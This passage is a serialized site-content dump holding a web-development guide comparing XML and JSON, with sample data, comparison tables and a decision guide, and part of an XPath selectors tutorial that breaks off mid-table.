.sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":141,"searchDepth":337,"depth":337,"links":229119},[229120,229121,229122,229123,229124,229125,229126,229127,229132,229133,229134],{"id":228137,"depth":337,"text":228138},{"id":228155,"depth":337,"text":228156},{"id":228216,"depth":337,"text":228217},{"id":228381,"depth":337,"text":228382},{"id":228518,"depth":337,"text":228519},{"id":228638,"depth":337,"text":228639},{"id":228749,"depth":337,"text":228750},{"id":228826,"depth":337,"text":228827,"children":229128},[229129,229130,229131],{"id":228830,"depth":343,"text":228831},{"id":228885,"depth":343,"text":228886},{"id":8261,"depth":343,"text":9840},{"id":229007,"depth":337,"text":229008},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how to validate XML documents against XSD schemas — define allowed elements, attributes, data types, and structure for reliable data interchange.",{"immutable":363},"\u002Fguides\u002Fxml-schema-validation-guide",{"title":228132,"description":229135},"guides\u002Fxml-schema-validation-guide","uDb8TU5edAm0jZAVpFJTJlwwvlEdKKDY1VXRXdJ_MDk",{"id":229142,"title":229143,"body":229144,"date":2070,"description":229913,"extension":361,"meta":229914,"navigation":363,"path":86162,"readingTime":889,"seo":229915,"stem":229916,"__hash__":229917},"guides\u002Fguides\u002Fxml-vs-json.md","XML vs JSON - When to Use Each Data Format",{"type":8,"value":229145,"toc":229897},[229146,229150,229153,229156,229158,229161,229165,229251,229255,229309,229320,229324,229429,229431,229434,229467,229507,229512,229516,229519,229563,229596,229601,229605,229608,229662,229665,229669,229672,229726,229729,229731,229734,229762,229766,229852,229858,229860,229863,229875,229877,229895],[11,229147,229149],{"id":229148},"xml-vs-json-which-format-should-you-use","XML vs JSON — Which Format Should You Use?",[16,229151,229152],{},"XML (Extensible Markup Language) and JSON (JavaScript Object Notation) are the two most widely used formats for structuring and exchanging data. Both are plain text, both are human-readable, and both work with every major programming language.",[16,229154,229155],{},"But they are not interchangeable. Each format has strengths that make it a better fit for specific tasks. This guide breaks down the key differences so you can choose with confidence.",[11,229157,137330],{"id":137329},[16,229159,229160],{},"The most visible difference is syntax. JSON uses braces, brackets, and key-value pairs. XML uses angle brackets with opening and closing tags.",[33,229162,229164],{"id":229163},"same-data-in-json","Same Data in JSON",[135,229166,229168],{"className":23484,"code":229167,"language":23486,"meta":141,"style":141},"{\n  \"book\": {\n    \"id\": 1,\n    \"title\": \"Clean Code\",\n    \"author\": \"Robert C. Martin\",\n    \"price\": 35.99,\n    \"tags\": [\"programming\", \"best practices\"]\n  }\n}\n",[143,229169,229170,229174,229181,229191,229203,229215,229226,229243,229247],{"__ignoreMap":141},[1560,229171,229172],{"class":1562,"line":1563},[1560,229173,23493],{"class":1570},[1560,229175,229176,229179],{"class":1562,"line":337},[1560,229177,229178],{"class":1576},"  \"book\"",[1560,229180,37098],{"class":1570},[1560,229182,229183,229185,229187,229189],{"class":1562,"line":343},[1560,229184,82630],{"class":1576},[1560,229186,1663],{"class":1570},[1560,229188,3585],{"class":1576},[1560,229190,11943],{"class":1570},[1560,229192,229193,229196,229198,229201],{"class":1562,"line":365},[1560,229194,229195],{"class":1576},"    \"title\"",[1560,229197,1663],{"class":1570},[1560,229199,229200],{"class":5634},"\"Clean Code\"",[1560,229202,11943],{"class":1570},[1560,229204,229205,229208,229210,229213],{"class":1562,"line":889},[1560,229206,229207],{"class":1576},"    \"author\"",[1560,229209,1663],{"class":1570},[1560,229211,229212],{"class":5634},"\"Robert C. Martin\"",[1560,229214,11943],{"class":1570},[1560,229216,229217,229219,229221,229224],{"class":1562,"line":1710},[1560,229218,184647],{"class":1576},[1560,229220,1663],{"class":1570},[1560,229222,229223],{"class":1576},"35.99",[1560,229225,11943],{"class":1570},[1560,229227,229228,229231,229233,229236,229238,229241],{"class":1562,"line":1717},[1560,229229,229230],{"class":1576},"    \"tags\"",[1560,229232,37187],{"class":1570},[1560,229234,229235],{"class":5634},"\"programming\"",[1560,229237,1459],{"class":1570},[1560,229239,229240],{"class":5634},"\"best practices\"",[1560,229242,37203],{"class":1570},[1560,229244,229245],{"class":1562,"line":1747},[1560,229246,4959],{"class":1570},[1560,229248,229249],{"class":1562,"line":2507},[1560,229250,1585],{"class":1570},[33,229252,229254],{"id":229253},"same-data-in-xml","Same Data in XML",[135,229256,229258],{"className":84954,"code":229257,"language":84956,"meta":141,"style":141},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003Cbook id=\"1\">\n  \u003Ctitle>Clean Code\u003C\u002Ftitle>\n  \u003Cauthor>Robert C. Martin\u003C\u002Fauthor>\n  \u003Cprice currency=\"USD\">35.99\u003C\u002Fprice>\n  \u003Ctags>\n    \u003Ctag>programming\u003C\u002Ftag>\n    \u003Ctag>best practices\u003C\u002Ftag>\n  \u003C\u002Ftags>\n\u003C\u002Fbook>\n",[143,229259,229260,229265,229270,229275,229280,229285,229290,229295,229300,229305],{"__ignoreMap":141},[1560,229261,229262],{"class":1562,"line":1563},[1560,229263,229264],{},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",[1560,229266,229267],{"class":1562,"line":337},[1560,229268,229269],{},"\u003Cbook id=\"1\">\n",[1560,229271,229272],{"class":1562,"line":343},[1560,229273,229274],{},"  \u003Ctitle>Clean Code\u003C\u002Ftitle>\n",[1560,229276,229277],{"class":1562,"line":365},[1560,229278,229279],{},"  \u003Cauthor>Robert C. Martin\u003C\u002Fauthor>\n",[1560,229281,229282],{"class":1562,"line":889},[1560,229283,229284],{},"  \u003Cprice currency=\"USD\">35.99\u003C\u002Fprice>\n",[1560,229286,229287],{"class":1562,"line":1710},[1560,229288,229289],{},"  \u003Ctags>\n",[1560,229291,229292],{"class":1562,"line":1717},[1560,229293,229294],{},"    \u003Ctag>programming\u003C\u002Ftag>\n",[1560,229296,229297],{"class":1562,"line":1747},[1560,229298,229299],{},"    \u003Ctag>best practices\u003C\u002Ftag>\n",[1560,229301,229302],{"class":1562,"line":2507},[1560,229303,229304],{},"  \u003C\u002Ftags>\n",[1560,229306,229307],{"class":1562,"line":2524},[1560,229308,227599],{},[16,229310,229311,229312,229315,229316,229319],{},"Notice how XML uses ",[143,229313,229314],{},"id=\"1\""," as an attribute — something JSON cannot do. XML also supports ",[143,229317,229318],{},"currency=\"USD\""," on the price element, mixing metadata with content in a way JSON cannot replicate without extra nesting.",[11,229321,229323],{"id":229322},"key-differences-at-a-glance","Key Differences at a Glance",[193,229325,229326,229336],{},[196,229327,229328],{},[199,229329,229330,229332,229334],{},[202,229331,5867],{},[202,229333,13411],{},[202,229335,84593],{},[211,229337,229338,229348,229358,229370,229382,229392,229405,229415],{},[199,229339,229340,229342,229345],{},[216,229341,137349],{},[216,229343,229344],{},"Key-value pairs with braces",[216,229346,229347],{},"Opening\u002Fclosing tags with angle brackets",[199,229349,229350,229352,229355],{},[216,229351,154149],{},[216,229353,229354],{},"Native (string, number, boolean, null, array, object)",[216,229356,229357],{},"String only — application must convert",[199,229359,229360,229362,229364],{},[216,229361,36954],{},[216,229363,84686],{},[216,229365,229366,229367,1525],{},"Supported (",[143,229368,229369],{},"\u003C!-- comment -->",[199,229371,229372,229375,229377],{},[216,229373,229374],{},"Attributes",[216,229376,84686],{},[216,229378,229366,229379,1525],{},[143,229380,229381],{},"\u003Ctag attr=\"value\">",[199,229383,229384,229387,229389],{},[216,229385,229386],{},"Namespaces",[216,229388,84686],{},[216,229390,229391],{},"Supported (prevents naming conflicts)",[199,229393,229394,229397,229400],{},[216,229395,229396],{},"Self-closing tags",[216,229398,229399],{},"Not needed",[216,229401,229366,229402,1525],{},[143,229403,229404],{},"\u003Ctag\u002F>",[199,229406,229407,229409,229412],{},[216,229408,84633],{},[216,229410,229411],{},"20–50% smaller",[216,229413,229414],{},"Larger due to tag overhead",[199,229416,229417,229420,229426],{},[216,229418,229419],{},"Parse speed (JS)",[216,229421,229422,229423,1525],{},"Native (",[143,229424,229425],{},"JSON.parse",[216,229427,229428],{},"Requires DOM parser",[11,229430,137664],{"id":137663},[16,229432,229433],{},"JSON is the right choice for most modern web development:",[41,229435,229436,229441,229447,229453,229462],{},[44,229437,229438,229440],{},[47,229439,137674],{}," — Nearly all public APIs use JSON as the default response format. It integrates seamlessly with JavaScript frontends.",[44,229442,229443,229446],{},[47,229444,229445],{},"Single-page applications"," — Frameworks like Vue, React, and Angular consume JSON natively.",[44,229448,229449,229452],{},[47,229450,229451],{},"Mobile backends"," — Smaller payloads mean faster responses on limited bandwidth.",[44,229454,229455,23567,229457,1459,229459,229461],{},[47,229456,99483],{},[143,229458,37590],{},[143,229460,37645],{},", and similar files prefer JSON for its simplicity.",[44,229463,229464,229466],{},[47,229465,137692],{}," — MongoDB, PostgreSQL JSONB, and other databases store and query JSON directly.",[135,229468,229470],{"className":1607,"code":229469,"language":1609,"meta":141,"style":141},"\u002F\u002F Parsing JSON is instant in JavaScript\nconst data = JSON.parse(responseBody);\nconsole.log(data.book.title); \u002F\u002F \"Clean Code\"\n",[143,229471,229472,229477,229495],{"__ignoreMap":141},[1560,229473,229474],{"class":1562,"line":1563},[1560,229475,229476],{"class":1649},"\u002F\u002F Parsing JSON is instant in JavaScript\n",[1560,229478,229479,229481,229484,229486,229488,229490,229492],{"class":1562,"line":337},[1560,229480,8180],{"class":1669},[1560,229482,229483],{"class":1576}," data",[1560,229485,8186],{"class":1669},[1560,229487,89946],{"class":1576},[1560,229489,468],{"class":1570},[1560,229491,80838],{"class":1566},[1560,229493,229494],{"class":1570},"(responseBody);\n",[1560,229496,229497,229499,229501,229504],{"class":1562,"line":343},[1560,229498,8211],{"class":1570},[1560,229500,8214],{"class":1566},[1560,229502,229503],{"class":1570},"(data.book.title); ",[1560,229505,229506],{"class":1649},"\u002F\u002F \"Clean Code\"\n",[16,229508,229509],{},[47,229510,229511],{},"JSON wins because it is simple, small, and native to the language that runs the web.",[11,229513,229515],{"id":229514},"when-to-choose-xml","When to Choose XML",[16,229517,229518],{},"XML still excels in specific domains:",[41,229520,229521,229527,229540,229546,229551,229557],{},[44,229522,229523,229526],{},[47,229524,229525],{},"SOAP web services"," — Enterprise systems and legacy APIs require XML-based SOAP envelopes.",[44,229528,229529,229532,229533,1459,229536,229539],{},[47,229530,229531],{},"Document formats"," — Microsoft Office files (",[143,229534,229535],{},".docx",[143,229537,229538],{},".xlsx","), SVG images, and XHTML are all XML-based.",[44,229541,229542,229545],{},[47,229543,229544],{},"Attributes and metadata"," — XML attributes let you attach metadata to elements without extra nesting.",[44,229547,229548,229550],{},[47,229549,229386],{}," — When combining data from different vocabularies, XML namespaces prevent naming conflicts.",[44,229552,229553,229556],{},[47,229554,229555],{},"Mixed content"," — Elements that contain both text and child elements work naturally in XML but require awkward workarounds in JSON.",[44,229558,229559,229562],{},[47,229560,229561],{},"Schema validation"," — XSD provides richer validation than JSON Schema, including cross-element constraints and built-in data types.",[135,229564,229566],{"className":84954,"code":229565,"language":84956,"meta":141,"style":141},"\u003Ccatalog xmlns:dc=\"http:\u002F\u002Fpurl.org\u002Fdc\u002Felements\u002F1.1\u002F\">\n  \u003Cbook dc:id=\"1\">\n    \u003Cdc:title>Data Formats\u003C\u002Fdc:title>\n    \u003Cprice currency=\"USD\">29.99\u003C\u002Fprice>\n  \u003C\u002Fbook>\n\u003C\u002Fcatalog>\n",[143,229567,229568,229573,229578,229583,229588,229592],{"__ignoreMap":141},[1560,229569,229570],{"class":1562,"line":1563},[1560,229571,229572],{},"\u003Ccatalog xmlns:dc=\"http:\u002F\u002Fpurl.org\u002Fdc\u002Felements\u002F1.1\u002F\">\n",[1560,229574,229575],{"class":1562,"line":337},[1560,229576,229577],{},"  \u003Cbook dc:id=\"1\">\n",[1560,229579,229580],{"class":1562,"line":343},[1560,229581,229582],{},"    \u003Cdc:title>Data Formats\u003C\u002Fdc:title>\n",[1560,229584,229585],{"class":1562,"line":365},[1560,229586,229587],{},"    \u003Cprice currency=\"USD\">29.99\u003C\u002Fprice>\n",[1560,229589,229590],{"class":1562,"line":889},[1560,229591,227113],{},[1560,229593,229594],{"class":1562,"line":1710},[1560,229595,227142],{},[16,229597,229598],{},[47,229599,229600],{},"XML wins where documents matter more than data, and where enterprise-grade validation is non-negotiable.",[11,229602,229604],{"id":229603},"performance-and-size","Performance and Size",[16,229606,229607],{},"For identical data, JSON is consistently smaller and faster to parse:",[193,229609,229610,229620],{},[196,229611,229612],{},[199,229613,229614,229616,229618],{},[202,229615,15609],{},[202,229617,13411],{},[202,229619,84593],{},[211,229621,229622,229632,229643,229652],{},[199,229623,229624,229627,229629],{},[216,229625,229626],{},"Typical file size",[216,229628,220913],{},[216,229630,229631],{},"20–50% larger",[199,229633,229634,229637,229640],{},[216,229635,229636],{},"Parse speed (JavaScript)",[216,229638,229639],{},"Native — fastest",[216,229641,229642],{},"DOM parser — slower",[199,229644,229645,229647,229649],{},[216,229646,85211],{},[216,229648,23719],{},[216,229650,229651],{},"Higher",[199,229653,229654,229657,229659],{},[216,229655,229656],{},"Streaming parsing",[216,229658,84702],{},[216,229660,229661],{},"Good (SAX processes incrementally)",[16,229663,229664],{},"XML wins one area: streaming. SAX parsers process documents incrementally without loading the entire file into memory. This matters for files in the hundreds of megabytes. JSON streaming solutions exist but are less mature.",[11,229666,229668],{"id":229667},"schema-and-validation","Schema and Validation",[16,229670,229671],{},"Both formats support validation, but XSD is more powerful:",[193,229673,229674,229685],{},[196,229675,229676],{},[199,229677,229678,229680,229682],{},[202,229679,5867],{},[202,229681,84670],{},[202,229683,229684],{},"XSD",[211,229686,229687,229697,229706,229715],{},[199,229688,229689,229691,229694],{},[216,229690,154149],{},[216,229692,229693],{},"Basic (6 types)",[216,229695,229696],{},"Rich (integer, decimal, date, duration, etc.)",[199,229698,229699,229702,229704],{},[216,229700,229701],{},"Cross-field rules",[216,229703,84702],{},[216,229705,102487],{},[199,229707,229708,229711,229713],{},[216,229709,229710],{},"Namespace support",[216,229712,6117],{},[216,229714,3057],{},[199,229716,229717,229720,229723],{},[216,229718,229719],{},"Maturity",[216,229721,229722],{},"Draft stage (evolving)",[216,229724,229725],{},"W3C Recommendation (stable since 2004)",[16,229727,229728],{},"For simple validation, JSON Schema works fine. For complex enterprise rules with cross-element dependencies, XSD is the stronger choice.",[11,229730,137892],{"id":137891},[16,229732,229733],{},"Converting between formats is common but tricky:",[41,229735,229736,229745,229751,229756],{},[44,229737,229738,229741,229742,229744],{},[47,229739,229740],{},"XML attributes"," usually map to a ",[143,229743,85264],{}," key in JSON — a convention, not a standard.",[44,229746,229747,229750],{},[47,229748,229749],{},"XML namespaces"," have no JSON equivalent — they get dropped or flattened.",[44,229752,229753,229755],{},[47,229754,229555],{}," (text mixed with child elements) is awkward in JSON.",[44,229757,229758,229761],{},[47,229759,229760],{},"Single vs. multiple children"," — one XML child becomes a JSON object; multiple become an array. This inconsistency causes frequent bugs.",[11,229763,229765],{"id":229764},"decision-guide","Decision Guide",[193,229767,229768,229776],{},[196,229769,229770],{},[199,229771,229772,229774],{},[202,229773,21080],{},[202,229775,49059],{},[211,229777,229778,229787,229796,229805,229814,229823,229833,229843],{},[199,229779,229780,229783],{},[216,229781,229782],{},"Public REST API",[216,229784,229785],{},[47,229786,13411],{},[199,229788,229789,229792],{},[216,229790,229791],{},"Browser-based frontend",[216,229793,229794],{},[47,229795,13411],{},[199,229797,229798,229801],{},[216,229799,229800],{},"Mobile backend",[216,229802,229803],{},[47,229804,13411],{},[199,229806,229807,229810],{},[216,229808,229809],{},"SOAP \u002F enterprise service",[216,229811,229812],{},[47,229813,84593],{},[199,229815,229816,229819],{},[216,229817,229818],{},"Document format (Office, SVG)",[216,229820,229821],{},[47,229822,84593],{},[199,229824,229825,229828],{},[216,229826,229827],{},"Large file streaming",[216,229829,229830,229832],{},[47,229831,84593],{}," (SAX)",[199,229834,229835,229838],{},[216,229836,229837],{},"Strong validation needed",[216,229839,229840,229842],{},[47,229841,84593],{}," (XSD)",[199,229844,229845,229848],{},[216,229846,229847],{},"Bandwidth is critical",[216,229849,229850],{},[47,229851,13411],{},[16,229853,229854,229857],{},[47,229855,229856],{},"Quick rule:"," If machines write and read it, JSON is simpler and leaner. If humans author it or documents are the focus, XML (or YAML) offers more expressive power.",[11,229859,286],{"id":285},[16,229861,229862],{},"Working with both formats? These tools save time:",[41,229864,229865,229870],{},[44,229866,229867,229869],{},[98,229868,85485],{"href":85585}," — Format, minify, and validate XML instantly",[44,229871,229872,229874],{},[98,229873,37777],{"href":37776}," — Pretty-print, validate, and minify JSON data",[11,229876,321],{"id":320},[41,229878,229879,229884,229888],{},[44,229880,229881,229883],{},[98,229882,86156],{"href":86155}," — Detailed walkthrough of formatting and validating XML",[44,229885,229886,227519],{},[98,229887,227518],{"href":86186},[44,229889,229890,229894],{},[98,229891,229893],{"href":229892},"\u002Fguides\u002Fjson-vs-xml","JSON vs XML"," — In-depth comparison with parsing examples and security considerations",[2043,229896,81221],{},{"title":141,"searchDepth":337,"depth":337,"links":229898},[229899,229900,229904,229905,229906,229907,229908,229909,229910,229911,229912],{"id":229148,"depth":337,"text":229149},{"id":137329,"depth":337,"text":137330,"children":229901},[229902,229903],{"id":229163,"depth":343,"text":229164},{"id":229253,"depth":343,"text":229254},{"id":229322,"depth":337,"text":229323},{"id":137663,"depth":337,"text":137664},{"id":229514,"depth":337,"text":229515},{"id":229603,"depth":337,"text":229604},{"id":229667,"depth":337,"text":229668},{"id":137891,"depth":337,"text":137892},{"id":229764,"depth":337,"text":229765},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Compare XML and JSON data formats. Learn when to use XML vs JSON for your web development projects.",{"immutable":363},{"title":229143,"description":229913},"guides\u002Fxml-vs-json","_WgRa8wmFUIfoOUoIigss25cwwkVHEAtCePFIHVD9xc",{"id":229919,"title":229920,"body":229921,"date":2070,"description":230878,"extension":361,"meta":230879,"navigation":363,"path":230880,"readingTime":1710,"seo":230881,"stem":230882,"__hash__":230883},"guides\u002Fguides\u002Fxpath-selectors-guide.md","XPath Selectors for XML Guide",{"type":8,"value":229922,"toc":230858},[229923,229926,229930,229939,230016,230020,230099,230103,230109,230113,230156,230160,230202,230206,230248,230252,230255,230382,230386,230431,230435,230438,230585,230589,230596,230671,230675,230755,230759,230762,230813,230815,230848,230850,230856],[16,229924,229925],{},"XPath is the query language for navigating XML and HTML documents. It provides a concise syntax for selecting nodes, filtering by conditions, and extracting values — capabilities that make it indispensable for XML processing, web scraping, test automation, and XSLT transformations. This guide covers the core XPath syntax with practical examples you can apply immediately.",[11,229927,229929],{"id":229928},"core-path-expressions","Core Path Expressions",[16,229931,229932,229933,229935,229936,229938],{},"XPath uses path notation similar to filesystem paths, with ",[143,229934,9423],{}," separating steps from the root and ",[143,229937,134512],{}," selecting anywhere in the document.",[193,229940,229941,229949],{},[196,229942,229943],{},[199,229944,229945,229947],{},[202,229946,1150],{},[202,229948,4228],{},[211,229950,229951,229964,229980,229992,230006],{},[199,229952,229953,229958],{},[216,229954,229955],{},[143,229956,229957],{},"\u002Fcatalog",[216,229959,229960,229961],{},"Root element ",[143,229962,229963],{},"catalog",[199,229965,229966,229971],{},[216,229967,229968],{},[143,229969,229970],{},"\u002Fcatalog\u002Fbook",[216,229972,229973,229974,229977,229978],{},"All ",[143,229975,229976],{},"book"," children of ",[143,229979,229963],{},[199,229981,229982,229987],{},[216,229983,229984],{},[143,229985,229986],{},"\u002F\u002Fbook",[216,229988,229973,229989,229991],{},[143,229990,229976],{}," elements anywhere in the document",[199,229993,229994,229999],{},[216,229995,229996],{},[143,229997,229998],{},"\u002Fcatalog\u002Fbook\u002Ftitle",[216,230000,229973,230001,230003,230004],{},[143,230002,108868],{}," elements under ",[143,230005,229976],{},[199,230007,230008,230013],{},[216,230009,230010],{},[143,230011,230012],{},"\u002F\u002Fbook\u002Ftitle\u002Ftext()",[216,230014,230015],{},"Text content of all book titles",[33,230017,230019],{"id":230018},"example-document","Example Document",[135,230021,230023],{"className":84954,"code":230022,"language":84956,"meta":141,"style":141},"\u003Ccatalog>\n  \u003Cbook id=\"1\" category=\"programming\">\n    \u003Ctitle>XML Basics\u003C\u002Ftitle>\n    \u003Cauthor>Jane Doe\u003C\u002Fauthor>\n    \u003Cprice>29.99\u003C\u002Fprice>\n  \u003C\u002Fbook>\n  \u003Cbook id=\"2\" category=\"design\">\n    \u003Ctitle>Design Patterns\u003C\u002Ftitle>\n    \u003Cauthor>John Smith\u003C\u002Fauthor>\n    \u003Cprice>39.99\u003C\u002Fprice>\n  \u003C\u002Fbook>\n  \u003Cbook id=\"3\" category=\"programming\">\n    \u003Ctitle>Advanced XPath\u003C\u002Ftitle>\n    \u003Cauthor>Jane Doe\u003C\u002Fauthor>\n    \u003Cprice>34.99\u003C\u002Fprice>\n  \u003C\u002Fbook>\n\u003C\u002Fcatalog>\n",[143,230024,230025,230029,230034,230038,230042,230046,230050,230055,230060,230064,230068,230072,230077,230082,230086,230091,230095],{"__ignoreMap":141},[1560,230026,230027],{"class":1562,"line":1563},[1560,230028,227088],{},[1560,230030,230031],{"class":1562,"line":337},[1560,230032,230033],{},"  \u003Cbook id=\"1\" category=\"programming\">\n",[1560,230035,230036],{"class":1562,"line":343},[1560,230037,227098],{},[1560,230039,230040],{"class":1562,"line":365},[1560,230041,227103],{},[1560,230043,230044],{"class":1562,"line":889},[1560,230045,227108],{},[1560,230047,230048],{"class":1562,"line":1710},[1560,230049,227113],{},[1560,230051,230052],{"class":1562,"line":1717},[1560,230053,230054],{},"  \u003Cbook id=\"2\" category=\"design\">\n",[1560,230056,230057],{"class":1562,"line":1747},[1560,230058,230059],{},"    \u003Ctitle>Design Patterns\u003C\u002Ftitle>\n",[1560,230061,230062],{"class":1562,"line":2507},[1560,230063,227128],{},[1560,230065,230066],{"class":1562,"line":2524},[1560,230067,227133],{},[1560,230069,230070],{"class":1562,"line":2529},[1560,230071,227113],{},[1560,230073,230074],{"class":1562,"line":2534},[1560,230075,230076],{},"  \u003Cbook id=\"3\" category=\"programming\">\n",[1560,230078,230079],{"class":1562,"line":2542},[1560,230080,230081],{},"    \u003Ctitle>Advanced XPath\u003C\u002Ftitle>\n",[1560,230083,230084],{"class":1562,"line":2558},[1560,230085,227103],{},[1560,230087,230088],{"class":1562,"line":2570},[1560,230089,230090],{},"    \u003Cprice>34.99\u003C\u002Fprice>\n",[1560,230092,230093],{"class":1562,"line":6638},[1560,230094,227113],{},[1560,230096,230097],{"class":1562,"line":11615},[1560,230098,227142],{},[11,230100,230102],{"id":230101},"predicates-filtering-nodes","Predicates — Filtering Nodes",[16,230104,230105,230106,230108],{},"Predicates are enclosed in square brackets ",[143,230107,103232],{}," and filter nodes by position, attribute, or child content.",[33,230110,230112],{"id":230111},"by-position","By Position",[193,230114,230115,230124],{},[196,230116,230117],{},[199,230118,230119,230122],{},[202,230120,230121],{},"XPath",[202,230123,70645],{},[211,230125,230126,230136,230146],{},[199,230127,230128,230133],{},[216,230129,230130],{},[143,230131,230132],{},"\u002Fcatalog\u002Fbook[1]",[216,230134,230135],{},"First book",[199,230137,230138,230143],{},[216,230139,230140],{},[143,230141,230142],{},"\u002Fcatalog\u002Fbook[last()]",[216,230144,230145],{},"Last book",[199,230147,230148,230153],{},[216,230149,230150],{},[143,230151,230152],{},"\u002Fcatalog\u002Fbook[position() \u003C 3]",[216,230154,230155],{},"First two books",[33,230157,230159],{"id":230158},"by-attribute","By Attribute",[193,230161,230162,230170],{},[196,230163,230164],{},[199,230165,230166,230168],{},[202,230167,230121],{},[202,230169,70645],{},[211,230171,230172,230182,230192],{},[199,230173,230174,230179],{},[216,230175,230176],{},[143,230177,230178],{},"\u002F\u002Fbook[@id='2']",[216,230180,230181],{},"Book with id=\"2\"",[199,230183,230184,230189],{},[216,230185,230186],{},[143,230187,230188],{},"\u002F\u002Fbook[@category='programming']",[216,230190,230191],{},"All programming books",[199,230193,230194,230199],{},[216,230195,230196],{},[143,230197,230198],{},"\u002F\u002Fbook[@id]",[216,230200,230201],{},"All books that have an id attribute",[33,230203,230205],{"id":230204},"by-child-content","By Child Content",[193,230207,230208,230216],{},[196,230209,230210],{},[199,230211,230212,230214],{},[202,230213,230121],{},[202,230215,70645],{},[211,230217,230218,230228,230238],{},[199,230219,230220,230225],{},[216,230221,230222],{},[143,230223,230224],{},"\u002F\u002Fbook[author='Jane Doe']",[216,230226,230227],{},"Books by Jane Doe",[199,230229,230230,230235],{},[216,230231,230232],{},[143,230233,230234],{},"\u002F\u002Fbook[price > 30]",[216,230236,230237],{},"Books priced above 30",[199,230239,230240,230245],{},[216,230241,230242],{},[143,230243,230244],{},"\u002F\u002Fbook[contains(title, 'XML')]",[216,230246,230247],{},"Books with \"XML\" in title",[11,230249,230251],{"id":230250},"axes-navigating-relationships","Axes — Navigating Relationships",[16,230253,230254],{},"Axes specify the direction of navigation relative to the context node.",[193,230256,230257,230268],{},[196,230258,230259],{},[199,230260,230261,230264,230266],{},[202,230262,230263],{},"Axis",[202,230265,106473],{},[202,230267,133],{},[211,230269,230270,230288,230305,230320,230335,230350,230365],{},[199,230271,230272,230277,230280],{},[216,230273,230274],{},[143,230275,230276],{},"child",[216,230278,230279],{},"Children (default)",[216,230281,230282,230285,230286],{},[143,230283,230284],{},"child::book"," ≡ ",[143,230287,229976],{},[199,230289,230290,230295,230298],{},[216,230291,230292],{},[143,230293,230294],{},"parent",[216,230296,230297],{},"Parent node",[216,230299,230300,230285,230303],{},[143,230301,230302],{},"parent::*",[143,230304,218053],{},[199,230306,230307,230312,230315],{},[216,230308,230309],{},[143,230310,230311],{},"ancestor",[216,230313,230314],{},"All ancestors up to root",[216,230316,230317],{},[143,230318,230319],{},"ancestor::catalog",[199,230321,230322,230327,230330],{},[216,230323,230324],{},[143,230325,230326],{},"descendant",[216,230328,230329],{},"All descendants at any depth",[216,230331,230332],{},[143,230333,230334],{},"descendant::title",[199,230336,230337,230342,230345],{},[216,230338,230339],{},[143,230340,230341],{},"following-sibling",[216,230343,230344],{},"Subsequent siblings",[216,230346,230347],{},[143,230348,230349],{},"title\u002Ffollowing-sibling::*",[199,230351,230352,230357,230360],{},[216,230353,230354],{},[143,230355,230356],{},"preceding-sibling",[216,230358,230359],{},"Previous siblings",[216,230361,230362],{},[143,230363,230364],{},"price\u002Fpreceding-sibling::*",[199,230366,230367,230372,230375],{},[216,230368,230369],{},[143,230370,230371],{},"self",[216,230373,230374],{},"The context node itself",[216,230376,230377,230285,230380],{},[143,230378,230379],{},"self::book",[143,230381,468],{},[33,230383,230385],{"id":230384},"practical-axis-examples","Practical Axis Examples",[135,230387,230391],{"className":230388,"code":230389,"language":230390,"meta":141,"style":141},"language-xpath shiki shiki-themes github-light github-dark","\u003C!-- All titles after the first book's title in document order -->\n\u002Fcatalog\u002Fbook[1]\u002Ftitle\u002Ffollowing-sibling::*\n\n\u003C!-- Price of the book titled \"XML Basics\" -->\n\u002F\u002Fbook[title='XML Basics']\u002Fprice\n\n\u003C!-- All books that share an author with the first book -->\n\u002F\u002Fbook[author = \u002Fcatalog\u002Fbook[1]\u002Fauthor]\n","xpath",[143,230392,230393,230398,230403,230407,230412,230417,230421,230426],{"__ignoreMap":141},[1560,230394,230395],{"class":1562,"line":1563},[1560,230396,230397],{},"\u003C!-- All titles after the first book's title in document order -->\n",[1560,230399,230400],{"class":1562,"line":337},[1560,230401,230402],{},"\u002Fcatalog\u002Fbook[1]\u002Ftitle\u002Ffollowing-sibling::*\n",[1560,230404,230405],{"class":1562,"line":343},[1560,230406,1702],{"emptyLinePlaceholder":363},[1560,230408,230409],{"class":1562,"line":365},[1560,230410,230411],{},"\u003C!-- Price of the book titled \"XML Basics\" -->\n",[1560,230413,230414],{"class":1562,"line":889},[1560,230415,230416],{},"\u002F\u002Fbook[title='XML Basics']\u002Fprice\n",[1560,230418,230419],{"class":1562,"line":1710},[1560,230420,1702],{"emptyLinePlaceholder":363},[1560,230422,230423],{"class":1562,"line":1717},[1560,230424,230425],{},"\u003C!-- All books that share an author with the first book -->\n",[1560,230427,230428],{"class":1562,"line":1747},[1560,230429,230430],{},"\u002F\u002Fbook[author = \u002Fcatalog\u002Fbook[1]\u002Fauthor]\n",[11,230432,230434],{"id":230433},"functions-xpath-provides","Functions XPath Provides",[16,230436,230437],{},"XPath includes built-in functions for string manipulation, numeric operations, and boolean logic.",[193,230439,230440,230450],{},[196,230441,230442],{},[199,230443,230444,230446,230448],{},[202,230445,43834],{},[202,230447,2758],{},[202,230449,133],{},[211,230451,230452,230467,230481,230496,230510,230525,230540,230555,230570],{},[199,230453,230454,230459,230462],{},[216,230455,230456],{},[143,230457,230458],{},"text()",[216,230460,230461],{},"Select text nodes",[216,230463,230464],{},[143,230465,230466],{},"\u002F\u002Ftitle\u002Ftext()",[199,230468,230469,230474,230477],{},[216,230470,230471],{},[143,230472,230473],{},"contains()",[216,230475,230476],{},"Substring check",[216,230478,230479],{},[143,230480,230244],{},[199,230482,230483,230488,230491],{},[216,230484,230485],{},[143,230486,230487],{},"starts-with()",[216,230489,230490],{},"Prefix check",[216,230492,230493],{},[143,230494,230495],{},"\u002F\u002Fbook[starts-with(@id, '1')]",[199,230497,230498,230503,230505],{},[216,230499,230500],{},[143,230501,230502],{},"string-length()",[216,230504,142798],{},[216,230506,230507],{},[143,230508,230509],{},"\u002F\u002Ftitle[string-length() > 10]",[199,230511,230512,230517,230520],{},[216,230513,230514],{},[143,230515,230516],{},"normalize-space()",[216,230518,230519],{},"Trim whitespace",[216,230521,230522],{},[143,230523,230524],{},"normalize-space(title)",[199,230526,230527,230532,230535],{},[216,230528,230529],{},[143,230530,230531],{},"number()",[216,230533,230534],{},"Convert to number",[216,230536,230537],{},[143,230538,230539],{},"\u002F\u002Fbook[number(price) > 